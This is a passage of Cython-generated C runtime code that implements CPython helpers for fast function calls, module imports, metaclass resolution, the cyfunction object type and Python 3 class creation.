*__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); 